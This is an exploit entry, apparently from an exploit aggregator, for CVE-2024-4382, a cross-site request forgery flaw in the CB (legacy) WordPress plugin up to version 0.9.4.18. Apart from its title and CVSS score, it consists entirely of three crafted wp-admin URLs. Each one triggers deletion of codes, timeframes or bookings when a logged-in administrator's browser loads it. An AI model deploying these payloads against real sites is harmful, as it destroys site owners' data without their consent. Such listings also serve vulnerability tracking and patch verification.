Exploit for CB (legacy) <= 0.9.4.18 - Code/Timeframe/Booking Deletion via CSRF CVE-2024-4382

Name: Exploit for CB (legacy) <= 0.9.4.18 - Code/Timeframe/Booking Deletion via CSRF CVE-2024-4382
Rating: 5 (21 reviews)

2024-05-31 | CVSS 6.7

## https://sploitus.com/exploit?id=WPEX-ID:1A67AEAB-8145-4C8A-9C18-E6436FA39B63
Codes:
https://example.com/wp-admin/admin.php?page=cb_codes&_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3Dcb_codes&action=delete&filterby-Items=&paged=1&id%5B%5D=1&action2=delete

Timeframes:

https://example.com/wp-admin/admin.php?page=cb_timeframes&_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3Dcb_timeframes&action=delete&filterby-Items=&paged=1&id%5B0%5D=1&action2=delete

Bookings:

https://example.com/wp-admin/admin.php?page=cb_bookings&_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3Dcb_bookings&action=delete&filterby-Items=&paged=1&id%5B0%5D=1&action2=delete